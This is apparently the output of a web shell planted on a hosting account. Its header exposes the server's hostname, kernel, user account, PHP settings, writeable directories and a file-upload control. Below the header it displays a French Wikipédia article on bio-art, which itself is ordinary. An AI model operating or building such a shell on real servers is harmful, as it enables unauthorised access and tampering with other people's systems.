Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/b/i/o/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles/b/////i/o/Bio-art.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Bio-art - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Bio-art</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <table cellpadding="0" cellspacing="0" style="padding: 0.1em; float:right; margin:0 0 1em 1em; border: 1px solid #999; background:#E5FFEC; text-align:center">
<tr>
<td><a href="../../../../articles/v/e/n/Image%7EVenezzia_biennial_jn_3.jpg_a333.html" class="image" title="Venezzia biennial jn 3.jpg"><img alt="" src="../../../../images/shared/thumb/d/dd/Venezzia_biennial_jn_3.jpg/140px-Venezzia_biennial_jn_3.jpg" width="140" height="140" border="0" /></a></td>
</tr>
<tr>
<td style="padding: 0.1em; font-size:0.92em; border-bottom:1px solid #999;">Cet article fait partie de<br />
la série <b><a href="../../../../articles/a/r/t/Art_contemporain.html" title="Art contemporain">Art contemporain</a></b></td>
</tr>
<tr>
<th style="padding: 0; font-family: sans-serif; font-size: 0.9em;">Artistes</th>
</tr>
<tr>
<td style="padding: 0; font-size:0.88em">
<p><a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#A" title="Liste d'artistes en art contemporain">A</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#B" title="Liste d'artistes en art contemporain">B</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#C" title="Liste d'artistes en art contemporain">C</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#D" title="Liste d'artistes en art contemporain">D</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#E" title="Liste d'artistes en art contemporain">E</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#F" title="Liste d'artistes en art contemporain">F</a><br />
<a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#G" title="Liste d'artistes en art contemporain">G</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#H" title="Liste d'artistes en art contemporain">H</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#I" title="Liste d'artistes en art contemporain">I</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#J" title="Liste d'artistes en art contemporain">J</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#K" title="Liste d'artistes en art contemporain">K</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#L" title="Liste d'artistes en art contemporain">L</a><br />
<a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#M" title="Liste d'artistes en art contemporain">M</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#N" title="Liste d'artistes en art contemporain">N</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#O" title="Liste d'artistes en art contemporain">O</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#P" title="Liste d'artistes en art contemporain">P</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#Q" title="Liste d'artistes en art contemporain">Q</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#R" title="Liste d'artistes en art contemporain">R</a><br />
<a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#S" title="Liste d'artistes en art contemporain">S</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#T" title="Liste d'artistes en art contemporain">T</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#U" title="Liste d'artistes en art contemporain">U</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#V" title="Liste d'artistes en art contemporain">V</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#W" title="Liste d'artistes en art contemporain">W</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#X" title="Liste d'artistes en art contemporain">X</a><br />
<a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#Y" title="Liste d'artistes en art contemporain">Y</a> - <a href="../../../../articles/l/i/s/Liste_d%27artistes_en_art_contemporain.html#Z" title="Liste d'artistes en art contemporain">Z</a></p>
</td>
</tr>
<tr>
<th style="padding: 0; font-family: sans-serif; font-size: 0.9em;">Voir aussi</th>
</tr>
<tr>
<td style="padding: 0; font-size:0.88em; border-bottom:1px solid #999;">
<p><a href="../../../../articles/m/u/s/Cat%C3%A9gorie%7EMus%C3%A9e_d%27art_contemporain_2292.html" title="Catégorie:Musée d'art contemporain">Musées</a> et <a href="../../../../articles/c/e/n/Cat%C3%A9gorie%7ECentre_d%27art_contemporain_0113.html" title="Catégorie:Centre d'art contemporain">Centres d'art</a>, <a href="../../../../articles/f/o/n/Fonds_r%C3%A9gional_d%27art_contemporain.html" title="Fonds régional d'art contemporain">Fracs</a>,<br />
<a href="../../../../articles/a/r/t/Art_contemporain.html#Mouvement_artistique_en_art_contemporain" title="Art contemporain">Mouvements</a>, <a href="../../../../articles/%C3%A9/c/o/Cat%C3%A9gorie%7E%C3%89cole_d%27art_par_pays_39b7.html" title="Catégorie:École d'art par pays">Écoles d'art</a>,<br />
<a href="../../../../articles/m/a/n/Manifestations_d%27Art_Contemporain_6acd.html" class="mw-redirect" title="Manifestations d'Art Contemporain">Manifestations</a>, <a href="../../../../articles/g/a/l/Cat%C3%A9gorie%7EGalerie_d%27art_contemporain_8ec9.html" title="Catégorie:Galerie d'art contemporain">Galeries</a>,<br />
<a href="../../../../articles/m/u/s/Musique_contemporaine.html" title="Musique contemporaine">Musique contemporaine</a></p>
</td>
</tr>
<tr>
<th style="padding: 0.1em; font-family: sans-serif; background-color: #FFF; font-size:0.94em;"><a href="../../../../articles/a/r/t/Portail%7EArt_contemporain_a526.html" title="Portail:Art contemporain">Portail : Art contemporain</a></th>
</tr>
</table>
<p>Le <b>bio-art</b> décrit une évolution récente de l'<a href="../../../../articles/a/r/t/Art_contemporain.html" title="Art contemporain">art contemporain</a>, prenant pour medium les ressources plastiques offertes par les <a href="../../../../articles/b/i/o/Biotechnologie.html" class="mw-redirect" title="Biotechnologie">biotechnologies</a>. Culture de tissus vivants, <a href="../../../../articles/o/r/g/Organisme_g%C3%A9n%C3%A9tiquement_modifi%C3%A9.html" title="Organisme génétiquement modifié">modifications génétiques</a> (<a href="../../../../articles/e/d/u/Eduardo_Kac_4fa9.html" title="Eduardo Kac">Eduardo Kac</a>), morphologiques (<a href="../../../../articles/m/a/r/Marta_de_Menezes_a66d.html" title="Marta de Menezes">Marta de Menezes</a>), constructions <a href="../../../../articles/b/i/o/Biom%C3%A9canique.html" title="Biomécanique">biomécaniques</a> (<a href="../../../../articles/s/y/m/Symbiotica.html" title="Symbiotica">Symbiotica</a>) ont toutes été exploitées par des artistes qui s'approprient des techniques et des thèmes de réflexion très controversés aujourd'hui.</p>
<p>Ces expérimentations sont parfois en relation avec le propre corps de l'artiste (culture de sa propre peau, projet de transfusion de <a href="../../../../articles/s/a/n/Sang.html" title="Sang">sang</a> de <a href="../../../../articles/p/a/n/Panda.html" title="Panda">panda</a> rendu compatible...), et mettent à nu les peurs traditionnellement inspirées par la <a href="../../../../articles/t/e/c/Technologie.html" title="Technologie">technologie</a>.</p>
<p>Le bio-artiste le plus connu est sans doute <a href="../../../../articles/e/d/u/Eduardo_Kac_4fa9.html" title="Eduardo Kac">Eduardo Kac</a>, dont la «&#160;création&#160;» de la lapine Alba avec l'<a href="../../../../articles/i/n/r/INRA_1cbb.html" class="mw-redirect" title="INRA">INRA</a> a été très médiatisée.</p>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#Histoire"><span class="tocnumber">1</span> <span class="toctext">Histoire</span></a></li>
<li class="toclevel-1"><a href="#Bio-artistes"><span class="tocnumber">2</span> <span class="toctext">Bio-artistes</span></a></li>
<li class="toclevel-1"><a href="#Bibliographie"><span class="tocnumber">3</span> <span class="toctext">Bibliographie</span></a></li>
<li class="toclevel-1"><a href="#Voir_aussi"><span class="tocnumber">4</span> <span class="toctext">Voir aussi</span></a></li>
<li class="toclevel-1"><a href="#Liens_externes"><span class="tocnumber">5</span> <span class="toctext">Liens externes</span></a></li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name="Histoire" id="Histoire"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/o/Bio-art.html" title="Modifier la section&#160;: Histoire">modifier</a>]</span> <span class="mw-headline">Histoire</span></h2>
<p>L'apparition de l'<a href="../../../../articles/h/o/m/Homo_sapiens.html" title="Homo sapiens">Homo sapiens</a> est contemporaine de ses premières expérimentations génétiques, notamment dans le processus de sélection des animaux reproducteurs pour l'élevage. Les concours de beauté des animaux issus de ces croisements ont des origines très anciennes attestées, ce qui témoigne d'un lien originel entre <a href="../../../../articles/e/s/t/Esth%C3%A9tique.html" title="Esthétique">esthétique</a> et <a href="../../../../articles/g/%C3%A9/n/G%C3%A9n%C3%A9tique.html" title="Génétique">génétique</a>.</p>
<p>Les théories de <a href="../../../../articles/c/h/a/Charles_Darwin_74f3.html" title="Charles Darwin">Darwin</a> ont bouleversé le rapport traditionnel de l'homme au monde, opérant un décentrement comparable à la <a href="../../../../articles/r/%C3%A9/v/R%C3%A9volution_copernicienne.html" title="Révolution copernicienne">révolution copernicienne</a>&#160;; la génétique a renforcé cette "banalisation" de l'être humain, dont le patrimoine génétique est très proche de celui d'autres espèces, et en fait moins complexes que certains organismes vivants.</p>
<p>La cartographie de l'<a href="../../../../articles/a/c/i/Acide_d%C3%A9soxyribonucl%C3%A9ique.html" title="Acide désoxyribonucléique">ADN</a> d'organismes vivants, notamment de l'homme à travers le projet HUGO, a donné à l'encodage du vivant une plasticité inconnue dans le passé, qui fait des laboratoires les ateliers potentiels des "bio-artistes". L'exploration du <a href="../../../../articles/p/a/t/Patrimoine_g%C3%A9n%C3%A9tique.html" title="Patrimoine génétique">patrimoine génétique</a>, qui n'a pas moins d'impact psychologique que celle du <a href="../../../../articles/n/o/u/Nouveau_Monde_814f.html" title="Nouveau Monde">Nouveau Monde</a> ou de l'<a href="../../../../articles/e/s/p/Espace_%28cosmologie%29.html" title="Espace (cosmologie)">espace</a>, met en position dangereuse l'intégrité traditionnelle de l'identité humaine, et est encadrée par un cortège de lois éthiques. L'apparition de l'<a href="../../../../articles/e/u/g/Eug%C3%A9nisme.html" title="Eugénisme">eugénisme</a>, contemporaine de celle de la génétique, est un spectre qui court-circuite la réception de la génétique auprès du grand public, et a fortiori des bio-artistes, facilement auréolés de l'image du <a href="../../../../articles/s/a/v/Savant_fou.html" title="Savant fou">savant fou</a>.</p>
<p>Aussi, les travaux des bio-artistes sont fortement impliqués dans la réception des œuvres dans la société et leurs implications <a href="../../../../articles/%C3%A9/p/i/%C3%89pist%C3%A9mologie.html" title="Épistémologie">épistémologiques</a> et <a href="../../../../articles/p/h/i/Philosophie.html" title="Philosophie">philosophiques</a>. Situé dans une zone turbulente de l'évolution <a href="../../../../articles/t/e/c/Technologie.html" title="Technologie">technologique</a>, le bio-art est confronté à des questionnements fondamentaux sur la nature et la place de l'humain dans le monde&#160;; la <a href="../../../../articles/s/c/i/Science-fiction.html" title="Science-fiction">science-fiction</a>, l'émergence du "<a href="../../../../articles/p/o/s/Post-humain.html" title="Post-humain">post-humain</a>" y sont des aliments récurrents.</p>
<p><a name="Bio-artistes" id="Bio-artistes"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/o/Bio-art.html" title="Modifier la section&#160;: Bio-artistes">modifier</a>]</span> <span class="mw-headline">Bio-artistes</span></h2>
<ul>
<li><a href="../../../../articles/e/d/u/Eduardo_Kac_4fa9.html" title="Eduardo Kac">Eduardo Kac</a></li>
<li>Marion Laval-Jeantet</li>
<li><a href="../../../../articles/s/y/m/Symbiotica.html" title="Symbiotica">Symbiotica</a>&#160;: Oron Catts, Ionat Zurr, Guy Ben Ary</li>
<li><a href="../../../../articles/g/e/o/George_Gessert_9896.html" title="George Gessert">George Gessert</a></li>
<li>Joe Davis</li>
<li><a href="../../../../articles/m/a/r/Marta_de_Menezes_a66d.html" title="Marta de Menezes">Marta de Menezes</a></li>
</ul>
<p><a name="Bibliographie" id="Bibliographie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/o/Bio-art.html" title="Modifier la section&#160;: Bibliographie">modifier</a>]</span> <span class="mw-headline">Bibliographie</span></h2>
<p>Jens Hauser (ed.). <i>sk-interfaces. Exploding borders - creating membranes in art, technology and society</i>. Liverpool: University of Liverpool Press 2008 (en Anglais)</p>
<p><a href="../../../../articles/n/i/c/Nicole_C._Karafyllis_bf59.html" title="Nicole C. Karafyllis">Nicole C. Karafyllis</a> (ed.). <i>Biofakte - Versuch über den Menschen zwischen Artefakt und Lebewesen</i>. Paderborn: Mentis 2003. (en Allemand)</p>
<p>Ingeborg Reichle. <i>Kunst aus dem Labor</i>. Springer Publ. 2005. (en Allemand)</p>
<p>Denis Baron. <i>La chair mutante, fabrique d'un posthumain</i>. 2008. Editions Dis Voir</p>
<p><a name="Voir_aussi" id="Voir_aussi"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/o/Bio-art.html" title="Modifier la section&#160;: Voir aussi">modifier</a>]</span> <span class="mw-headline">Voir aussi</span></h2>
<ul>
<li><a href="../../../../articles/b/i/o/Biotechnologie.html" class="mw-redirect" title="Biotechnologie">Biotechnologie</a></li>
<li><a href="../../../../articles/b/i/o/Biofact.html" class="mw-redirect" title="Biofact">Biofact</a></li>
<li><a href="../../../../articles/b/i/o/Bionique.html" title="Bionique">Bionique</a></li>
<li><a href="../../../../articles/b/i/o/Bio-hacker.html" title="Bio-hacker">Bio-hacker</a></li>
</ul>
<p><a name="Liens_externes" id="Liens_externes"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/b/i/o/Bio-art.html" title="Modifier la section&#160;: Liens externes">modifier</a>]</span> <span class="mw-headline">Liens externes</span></h2>
<ul>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span> <a href="http://www.ekac.org/" class="external text" title="http://www.ekac.org/" rel="nofollow">Eduardo Kac</a></li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span> <a href="http://www.symbiotica.uwa.edu.au" class="external text" title="http://www.symbiotica.uwa.edu.au" rel="nofollow">Symbiotica</a></li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: anglais">(en)</span> <a href="http://www.a-r-c.org.uk/db/" class="external text" title="http://www.a-r-c.org.uk/db/" rel="nofollow">Designer Bodies</a></li>
<li><a href="http://sophied.eu/decon/" class="external text" title="http://sophied.eu/decon/" rel="nofollow">| Le projet DECON présenté lors de l'expo BIOS4, Seville</a></li>
<li><a href="http://vids.myspace.com/index.cfm?fuseaction=vids.individual&amp;videoid=13850261" class="external text" title="http://vids.myspace.com/index.cfm?fuseaction=vids.individual&amp;videoid=13850261" rel="nofollow">| La video du Projet DECON à Séville: Avec Marta de Menezes pour le Projet Européen Sophied.</a></li>
</ul>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/h/o/o/Image%7EHoornse_Schans_05.JPG_99cc.html" class="image" title="Icône du portail de l’art contemporain"><img alt="Icône du portail de l’art contemporain" src="../../../../images/shared/thumb/9/90/Hoornse_Schans_05.JPG/32px-Hoornse_Schans_05.JPG" width="32" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/a/r/t/Portail%7EArt_contemporain_a526.html" title="Portail:Art contemporain">Portail de l’art contemporain</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 125/1000000
Post-expand include size: 4159/2048000 bytes
Template argument size: 161/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégorie</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/m/o/u/Cat%C3%A9gorie%7EMouvement_artistique_contemporain_38ae.html" title="Catégorie:Mouvement artistique contemporain">Mouvement artistique contemporain</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/b/i/o/Bio-art.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/b/i/o/Discuter%7EBio-art_9409.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Bio-art">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../en/articles/b/i/o/BioArt_9f1f.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../es/articles/b/i/o/Bioarte.html">Español</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pt/articles/b/i/o/Bioarte.html">Português</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 13 mai 2008 à 12:41 par Utilisateur(s) non enregistré(s) de Wikipédia. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/a/l/e/Utilisateur%7EAlecs.bot_6f7d.html" title="Utilisateur:Alecs.bot">Alecs.bot</a>, <a href="../../../../articles/h/e/r/Utilisateur%7EHerculeBot_3523.html" title="Utilisateur:HerculeBot">HerculeBot</a>, <a href="../../../../articles/n/o/n/Utilisateur%7ENono64_a899.html" title="Utilisateur:Nono64">Nono64</a>, <a href="../../../../articles/l/o/u/Utilisateur%7ELouperibot_13b7.html" title="Utilisateur:Louperibot">Louperibot</a>, <a href="../../../../articles/l/i/q/Utilisateur%7ELiquid-aim-bot_78e0.html" title="Utilisateur:Liquid-aim-bot">Liquid-aim-bot</a>, <a href="../../../../articles/p/o/m/Utilisateur%7EPoM_18a3.html" title="Utilisateur:PoM">PoM</a>, <a href="../../../../articles/t/o/n/Utilisateur%7ETon1_c1a2.html" title="Utilisateur:Ton1">Ton1</a>, <a href="../../../../articles/m/a/x/Utilisateur%7EMaximini1010_b2da.html" title="Utilisateur:Maximini1010">Maximini1010</a>, Rayne, <a href="../../../../articles/n/i/c/Utilisateur%7ENicolas_GLONDU_9176.html" title="Utilisateur:Nicolas GLONDU">Nicolas GLONDU</a>, <a href="../../../../articles/k/a/j/Utilisateur%7EKajimoto_75ae.html" title="Utilisateur:Kajimoto">Kajimoto</a>, Jessor, <a href="../../../../articles/m/o/k/Utilisateur%7EMokarider_7b21.html" title="Utilisateur:Mokarider">Mokarider</a>, <a href="../../../../articles/s/a/n/Utilisateur%7ESanao_f541.html" title="Utilisateur:Sanao">Sanao</a>, <a href="../../../../articles/f/l/a/Utilisateur%7EFlaBot_bc06.html" title="Utilisateur:FlaBot">FlaBot</a>, <a href="../../../../articles/b/b/u/Utilisateur%7EBbullot_8fb0.html" title="Utilisateur:Bbullot">Bbullot</a>, <a href="../../../../articles/h/b/_/Utilisateur%7EHB_a700.html" title="Utilisateur:HB">HB</a>, <a href="../../../../articles/r/h/o/Utilisateur%7ERhodeisland_d3d1.html" title="Utilisateur:Rhodeisland">Rhodeisland</a>, <a href="../../../../articles/c/r/i/Utilisateur%7ECriric_8c9c.html" title="Utilisateur:Criric">Criric</a>, <a href="../../../../articles/h/b/b/Utilisateur%7EHbbk_87f5.html" title="Utilisateur:Hbbk">Hbbk</a>, <a href="../../../../articles/p/s/e/Utilisateur%7EPseudomoi_f04e.html" title="Utilisateur:Pseudomoi">Pseudomoi</a>, <a href="../../../../articles/a/l/n/Utilisateur%7EAlno_76b7.html" title="Utilisateur:Alno">Alno</a>, <a href="../../../../articles/f/e/d/Utilisateur%7EFede_80b0.html" title="Utilisateur:Fede">Fede</a>, <a href="../../../../articles/p/a/p/Utilisateur%7EPapillus_a449.html" title="Utilisateur:Papillus">Papillus</a> et <a href="../../../../articles/t/a/g/Utilisateur%7ETaguelmoust_31b9.html" title="Utilisateur:Taguelmoust">Taguelmoust</a>.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX